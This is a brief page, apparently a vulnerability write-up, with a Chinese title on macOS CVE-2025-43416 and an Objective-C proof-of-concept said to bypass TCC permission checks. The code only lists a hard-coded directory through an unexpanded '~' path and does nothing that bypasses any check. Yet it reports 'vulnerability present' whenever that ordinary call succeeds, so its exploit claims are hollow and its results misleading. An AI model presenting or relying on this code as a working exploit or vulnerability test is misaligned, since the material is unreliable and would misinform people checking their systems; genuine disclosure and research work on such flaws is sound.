CVE-2025-43416: macOS逻辑漏洞导致应用可访问受保护用户数据

// CVE-2025-43416 PoC - macOS Protected Data Access via Logic Flaw // This PoC demonstrates the vulnerability where a low-privilege app can // access protected user data through a logic flaw in permission checks. // Disclaimer: For educational and security research purposes only. #include <Foundation/Foundation.h> // Target vulnerable APIs (fixed in macOS Sequoia 15.7.3, Sonoma 14.8.3, Tahoe 26.2) // The vulnerability allows bypassing of TCC (Transparency, Consent, and Control) checks NSString* exploitProtectedDataAccess() { // Vulnerable code pattern - bypasses permission validation // This exploits the logic flaw in macOS permission handling NSString *protectedDataPath = @"~/Library/Application Support/ProtectedUserData"; NSFileManager *fileManager = [NSFileManager defaultManager]; // The logic flaw allows this call to succeed without proper authorization NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:protectedDataPath error:&error]; if (error) { return @"Access denied - vulnerability may be patched"; } // Successfully accessed protected data NSLog(@"CVE-2025-43416: Accessed protected data: %@", contents); return @"Protected data access successful - vulnerability present"; } int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"CVE-2025-43416 PoC - macOS Logic Issue in Permission Checks"); NSLog(@"Affected: macOS Sequoia < 15.7.3, Sonoma < 14.8.3, Tahoe < 26.2"); NSString *result = exploitProtectedDataAccess(); NSLog(@"Result: %@", result); } return 0; } // Mitigation: Update to macOS Sequoia 15.7.3, Sonoma 14.8.3, or Tahoe 26.2